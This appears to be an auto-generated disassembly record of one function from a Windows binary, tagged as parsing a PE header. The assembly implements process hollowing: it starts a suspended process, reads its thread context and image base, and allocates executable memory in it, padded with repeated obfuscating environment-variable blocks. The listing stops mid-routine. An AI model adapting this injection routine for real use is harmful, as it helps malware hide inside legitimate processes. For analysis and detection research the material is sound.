Function at 0x418de0
Capabilities:
Parse pe header
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x40c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], eax
mov eax, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
mov eax, dword [0x4a1514]
mov dword [ebp - 0x37c], eax
lea eax, [ebp - 0x9d]
mov dword [esp], eax
call fcn.00415620
lea ecx, [ebp - 0x9d]
call fcn.00415640
mov dword [esp], eax
call fcn.004153f0
mov dword [ebp - 0x380], eax
lea eax, [ebp - 0xa9]
mov dword [esp], eax
call fcn.0041adc0
lea ecx, [ebp - 0xa9]
call fcn.0041ade0
mov edx, dword [ebp - 0x380]
mov ecx, eax
mov eax, dword [ebp - 0x37c]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x41ad51
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x10]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp dword [eax], 0x4550
jne 0x41ad4c
lea eax, [ebp - 0x5c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call sub.msvcrt.dll_memset
lea ecx, [ebp - 0xb1]
call fcn.0041adf0
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0xb2]
call fcn.0041aea0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1ba]
mov dword [ebp - 0xb6], eax
lea ecx, [ebp - 0xb7]
call fcn.0041af50
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x418f6d
lea eax, [ebp - 0xb6]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jne 0x418f67
lea ecx, [ebp - 0xbd]
call fcn.0041b000
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0xbc]
lea ecx, [ebp - 0xbe]
call fcn.0041b0b0
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov eax, dword [ebp - 0x388]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call sub.msvcrt.dll_memset
mov eax, dword [0x4a1514]
mov dword [ebp - 0x38c], eax
lea eax, [ebp - 0xcb]
mov dword [esp], eax
call fcn.00415620
lea ecx, [ebp - 0xcb]
call fcn.00415640
mov dword [esp], eax
call fcn.004153f0
mov dword [ebp - 0x390], eax
lea eax, [ebp - 0xda]
mov dword [esp], eax
call fcn.0041b160
lea ecx, [ebp - 0xda]
call fcn.0041b180
mov edx, dword [ebp - 0x390]
mov ecx, eax
mov eax, dword [ebp - 0x38c]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
mov dword [ebp - 0x88], eax
lea ecx, [ebp - 0xdb]
call fcn.0041b190
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0xdc]
call fcn.0041b240
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1be]
mov dword [ebp - 0xe0], eax
lea ecx, [ebp - 0xe1]
call fcn.0041b2f0
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x4190c7
lea eax, [ebp - 0xe0]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
jne 0x4190c1
lea ecx, [ebp - 0xe9]
call fcn.0041b3a0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0xe8]
lea ecx, [ebp - 0xea]
call fcn.0041b450
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0xec]
call fcn.0041b500
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0xed]
call fcn.0041b5b0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1c2]
mov dword [ebp - 0xf1], eax
lea ecx, [ebp - 0xf2]
call fcn.0041b660
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x419196
lea eax, [ebp - 0xf1]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jne 0x419190
lea ecx, [ebp - 0xf9]
call fcn.0041b710
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0xf8]
lea ecx, [ebp - 0xfa]
call fcn.0041b7c0
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov ecx, dword [ebp - 0x388]
mov eax, dword [ebp - 0x88]
mov esi, dword [ebp + 0xc]
xor edx, edx
lea edx, [ebp - 0x5c]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], ecx
call eax
sub esp, 0x28
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xeb], al
lea ecx, [ebp - 0xfb]
call fcn.0041b870
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0xfc]
call fcn.0041b920
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1c6]
mov dword [ebp - 0x100], eax
lea ecx, [ebp - 0x101]
call fcn.0041b9d0
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x4192cf
lea eax, [ebp - 0x100]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jne 0x4192c9
lea ecx, [ebp - 0x109]
call fcn.0041ba80
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x108]
lea ecx, [ebp - 0x10a]
call fcn.0041bb30
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov dword [esp], 1
call fcn.0041bbe0
mov al, byte [ebp - 0xeb]
xor al, 0xff
test al, 1
jne 0x4190e1
test byte [ebp - 0xeb], 1
je 0x41ad47
lea ecx, [ebp - 0x10b]
call fcn.0041bc00
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x10c]
call fcn.0041bcb0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1ca]
mov dword [ebp - 0x110], eax
lea ecx, [ebp - 0x111]
call fcn.0041bd60
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x4193c7
lea eax, [ebp - 0x110]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jne 0x4193c1
lea ecx, [ebp - 0x119]
call fcn.0041be10
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x118]
lea ecx, [ebp - 0x11a]
call fcn.0041bec0
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x4a1514]
mov dword [ebp - 0x394], eax
lea eax, [ebp - 0x127]
mov dword [esp], eax
call fcn.00415620
lea ecx, [ebp - 0x127]
call fcn.00415640
mov dword [esp], eax
call fcn.004153f0
mov dword [ebp - 0x398], eax
lea eax, [ebp - 0x134]
mov dword [esp], eax
call fcn.00415650
lea ecx, [ebp - 0x134]
call fcn.00415670
mov edx, dword [ebp - 0x398]
mov ecx, eax
mov eax, dword [ebp - 0x394]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
mov dword [ebp - 0x78], eax
lea ecx, [ebp - 0x135]
call fcn.0041bf70
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x136]
call fcn.0041c020
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1ce]
mov dword [ebp - 0x13a], eax
lea ecx, [ebp - 0x13b]
call fcn.0041c0d0
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x4194fe
lea eax, [ebp - 0x13a]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
jne 0x4194f8
lea ecx, [ebp - 0x141]
call fcn.0041c180
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x140]
lea ecx, [ebp - 0x142]
call fcn.0041c230
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x4a1514]
mov dword [ebp - 0x39c], eax
lea eax, [ebp - 0x14f]
mov dword [esp], eax
call fcn.00415620
lea ecx, [ebp - 0x14f]
call fcn.00415640
mov dword [esp], eax
call fcn.004153f0
mov dword [ebp - 0x3a0], eax
lea eax, [ebp - 0x15e]
mov dword [esp], eax
call fcn.0041c2e0
lea ecx, [ebp - 0x15e]
call fcn.0041c300
mov edx, dword [ebp - 0x3a0]
mov ecx, eax
mov eax, dword [ebp - 0x39c]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
mov dword [ebp - 0x7c], eax
lea ecx, [ebp - 0x15f]
call fcn.0041c310
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x160]
call fcn.0041c3c0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1d2]
mov dword [ebp - 0x164], eax
lea ecx, [ebp - 0x165]
call fcn.0041c470
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x419635
lea eax, [ebp - 0x164]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0
jne 0x41962f
lea ecx, [ebp - 0x16d]
call fcn.0041c520
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x16c]
lea ecx, [ebp - 0x16e]
call fcn.0041c5d0
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x4a1514]
mov dword [ebp - 0x3a4], eax
lea eax, [ebp - 0x17b]
mov dword [esp], eax
call fcn.00415620
lea ecx, [ebp - 0x17b]
call fcn.00415640
mov dword [esp], eax
call fcn.004153f0
mov dword [ebp - 0x3a8], eax
lea eax, [ebp - 0x18d]
mov dword [esp], eax
call fcn.0041c680
lea ecx, [ebp - 0x18d]
call fcn.0041c6a0
mov edx, dword [ebp - 0x3a8]
mov ecx, eax
mov eax, dword [ebp - 0x3a4]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
mov dword [ebp - 0x70], eax
lea ecx, [ebp - 0x18e]
call fcn.0041c6b0
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x18f]
call fcn.0041c760
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1d6]
mov dword [ebp - 0x193], eax
lea ecx, [ebp - 0x194]
call fcn.0041c810
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x41976c
lea eax, [ebp - 0x193]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
jne 0x419766
lea ecx, [ebp - 0x199]
call fcn.0041c8c0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x198]
lea ecx, [ebp - 0x19a]
call fcn.0041c970
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x4a1514]
mov dword [ebp - 0x3ac], eax
lea eax, [ebp - 0x1a7]
mov dword [esp], eax
call fcn.00415620
lea ecx, [ebp - 0x1a7]
call fcn.00415640
mov dword [esp], eax
call fcn.004153f0
mov dword [ebp - 0x3b0], eax
lea eax, [ebp - 0x1ba]
mov dword [esp], eax
call fcn.0041ca20
lea ecx, [ebp - 0x1ba]
call fcn.0041ca40
mov edx, dword [ebp - 0x3b0]
mov ecx, eax
mov eax, dword [ebp - 0x3ac]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
mov dword [ebp - 0x74], eax
lea ecx, [ebp - 0x1bb]
call fcn.0041ca50
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x1bc]
call fcn.0041cb00
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1da]
mov dword [ebp - 0x1c0], eax
lea ecx, [ebp - 0x1c1]
call fcn.0041cbb0
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x4198a3
lea eax, [ebp - 0x1c0]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0
jne 0x41989d
lea ecx, [ebp - 0x1c9]
call fcn.0041cc60
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x1c8]
lea ecx, [ebp - 0x1ca]
call fcn.0041cd10
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x4a1514]
mov dword [ebp - 0x3b4], eax
lea eax, [ebp - 0x1d7]
mov dword [esp], eax
call fcn.00415620
lea ecx, [ebp - 0x1d7]
call fcn.00415640
mov dword [esp], eax
call fcn.004153f0
mov dword [ebp - 0x3b8], eax
lea eax, [ebp - 0x1e4]
mov dword [esp], eax
call fcn.0041cdc0
lea ecx, [ebp - 0x1e4]
call fcn.0041cde0
mov edx, dword [ebp - 0x3b8]
mov ecx, eax
mov eax, dword [ebp - 0x3b4]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
mov dword [ebp - 0x84], eax
lea ecx, [ebp - 0x1e5]
call fcn.0041cdf0
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x1e6]
call fcn.0041cea0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1de]
mov dword [ebp - 0x1ea], eax
lea ecx, [ebp - 0x1eb]
call fcn.0041cf50
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x4199dd
lea eax, [ebp - 0x1ea]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0
jne 0x4199d7
lea ecx, [ebp - 0x1f1]
call fcn.0041d000
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x1f0]
lea ecx, [ebp - 0x1f2]
call fcn.0041d0b0
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x4a1514]
mov dword [ebp - 0x3bc], eax
lea eax, [ebp - 0x1ff]
mov dword [esp], eax
call fcn.00415620
lea ecx, [ebp - 0x1ff]
call fcn.00415640
mov dword [esp], eax
call fcn.004153f0
mov dword [ebp - 0x3c0], eax
lea eax, [ebp - 0x210]
mov dword [esp], eax
call fcn.0041d160
lea ecx, [ebp - 0x210]
call fcn.0041d180
mov edx, dword [ebp - 0x3c0]
mov ecx, eax
mov eax, dword [ebp - 0x3bc]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0x211]
call fcn.0041d190
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x212]
call fcn.0041d240
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1e2]
mov dword [ebp - 0x216], eax
lea ecx, [ebp - 0x217]
call fcn.0041d2f0
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x419b17
lea eax, [ebp - 0x216]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
jne 0x419b11
lea ecx, [ebp - 0x21d]
call fcn.0041d3a0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x21c]
lea ecx, [ebp - 0x21e]
call fcn.0041d450
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [ebp - 0x78]
sub esp, 0x10
mov dword [ebp - 0x60], eax
lea ecx, [ebp - 0x21f]
call fcn.0041d500
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x220]
call fcn.0041d5b0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1e6]
mov dword [ebp - 0x224], eax
lea ecx, [ebp - 0x225]
call fcn.0041d660
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x419c10
lea eax, [ebp - 0x224]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
jne 0x419c0a
lea ecx, [ebp - 0x22d]
call fcn.0041d710
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x22c]
lea ecx, [ebp - 0x22e]
call fcn.0041d7c0
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov eax, dword [ebp - 0x60]
mov dword [eax], 0x10007
lea ecx, [ebp - 0x22f]
call fcn.0041d870
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x230]
call fcn.0041d920
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1ea]
mov dword [ebp - 0x234], eax
lea ecx, [ebp - 0x235]
call fcn.0041d9d0
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x419ce8
lea eax, [ebp - 0x234]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jne 0x419ce2
lea ecx, [ebp - 0x23d]
call fcn.0041da80
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x23c]
lea ecx, [ebp - 0x23e]
call fcn.0041db30
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov ecx, dword [ebp - 0x388]
mov eax, dword [ebp - 0x8c]
mov edx, dword [ecx + 4]
mov ecx, dword [ebp - 0x60]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
cmp eax, 0
je 0x41ad42
lea ecx, [ebp - 0x23f]
call fcn.0041dbe0
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x240]
call fcn.0041dc90
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1ee]
mov dword [ebp - 0x244], eax
lea ecx, [ebp - 0x245]
call fcn.0041dd40
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x419dde
lea eax, [ebp - 0x244]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0
jne 0x419dd8
lea ecx, [ebp - 0x24d]
call fcn.0041ddf0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x24c]
lea ecx, [ebp - 0x24e]
call fcn.0041dea0
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov eax, dword [ebp - 0x388]
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0x3c4], ecx
mov edi, dword [eax]
mov eax, dword [ebp - 0x60]
mov esi, dword [eax + 0xa4]
call fcn.0041df50
mov word [ebp - 0x250], ax
lea ecx, [ebp - 0x250]
call fcn.0041df70
mov dword [esp], eax
call sub.msvcrt.dll_atoi
add esi, eax
call fcn.0041df80
mov word [ebp - 0x252], ax
lea ecx, [ebp - 0x252]
call fcn.0041dfa0
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov ecx, eax
mov eax, dword [ebp - 0x3c4]
lea edx, [ebp - 0x64]
xor ebx, ebx
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 0
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x14]
cmp eax, dword [ecx + 0x34]
jne 0x41a179
lea ecx, [ebp - 0x253]
call fcn.0041dfb0
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x254]
call fcn.0041e060
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1f2]
mov dword [ebp - 0x258], eax
lea ecx, [ebp - 0x259]
call fcn.0041e110
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x419f3f
lea eax, [ebp - 0x258]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0
jne 0x419f39
lea ecx, [ebp - 0x261]
call fcn.0041e1c0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x260]
lea ecx, [ebp - 0x262]
call fcn.0041e270
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x4a1514]
mov dword [ebp - 0x3c8], eax
lea eax, [ebp - 0x26c]
mov dword [esp], eax
call fcn.00415390
lea ecx, [ebp - 0x26c]
call fcn.004153b0
mov dword [esp], eax
call fcn.004153f0
mov dword [ebp - 0x3cc], eax
lea eax, [ebp - 0x281]
mov dword [esp], eax
call fcn.004153c0
lea ecx, [ebp - 0x281]
call fcn.004153e0
mov edx, dword [ebp - 0x3cc]
mov ecx, eax
mov eax, dword [ebp - 0x3c8]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
mov dword [ebp - 0x68], eax
lea ecx, [ebp - 0x282]
call fcn.0041e320
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x283]
call fcn.0041e3d0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1f6]
mov dword [ebp - 0x287], eax
lea ecx, [ebp - 0x288]
call fcn.0041e480
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x41a076
lea eax, [ebp - 0x287]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0
jne 0x41a070
lea ecx, [ebp - 0x28d]
call fcn.0041e530
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x28c]
lea ecx, [ebp - 0x28e]
call fcn.0041e5e0
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov ecx, dword [ebp - 0x388]
mov eax, dword [ebp - 0x68]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x64]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
lea ecx, [ebp - 0x28f]
call fcn.0041e690
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x290]
call fcn.0041e740
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1fa]
mov dword [ebp - 0x294], eax
lea ecx, [ebp - 0x295]
call fcn.0041e7f0
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x41a15f
lea eax, [ebp - 0x294]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0
jne 0x41a159
lea ecx, [ebp - 0x29d]
call fcn.0041e8a0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x29c]
lea ecx, [ebp - 0x29e]
call fcn.0041e950
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x29f]
call fcn.0041ea00
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x2a0]
call fcn.0041eab0
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f1fe]
mov dword [ebp - 0x2a4], eax
lea ecx, [ebp - 0x2a5]
call fcn.0041eb60
mov ecx, eax
call fcn.004025c0
mov dword [esp], eax
call sub.msvcrt.dll_getenv
cmp eax, 0
je 0x41a22e
lea eax, [ebp - 0x2a4]
mov dword [esp], eax
call fcn.00401c40
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0
jne 0x41a228
lea ecx, [ebp - 0x2ad]
call fcn.0041ec10
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401c50
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
sub esp, 4
call dword [ebp - 0x2ac]
lea ecx, [ebp - 0x2ae]
call fcn.0041ecc0
mov ecx, eax
call fcn.00401e00
mov dword [esp], eax
call fcn.00401450
mov ecx, dword [ebp - 0x388]
mov dword [ebp - 0x2b4], 0x3000
mov eax, dword [ebp - 0x7c]
mov edi, dword [ecx]
mov ecx, dword [ebp - 0x14]
mov esi, dword [ecx + 0x34]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x50]
mov ecx, dword [ebp - 0x2b4]
mov dword [esp], edi
mov dword [esp + 4], esi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 0x40
call eax
sub esp, 0x14
mov dword [ebp - 0x90], eax
lea ecx, [ebp - 0x2b5]
call fcn.0041ed70
mov ecx, eax
call fcn.00401a80
mov dword [esp], eax
call fcn.00401450
lea ecx, [ebp - 0x2b6]
call fcn.0041ee20
mov ecx, eax
call fcn.00401b50
mov dword [esp], eax
call fcn.00401450
mov eax, dword [0x48f202]
mov dword [ebp - 0x2ba], eax
lea ecx, [ebp - 0x2bb]
call fcn.0041eed0
mov ecx, eax
call fcn.004025c0
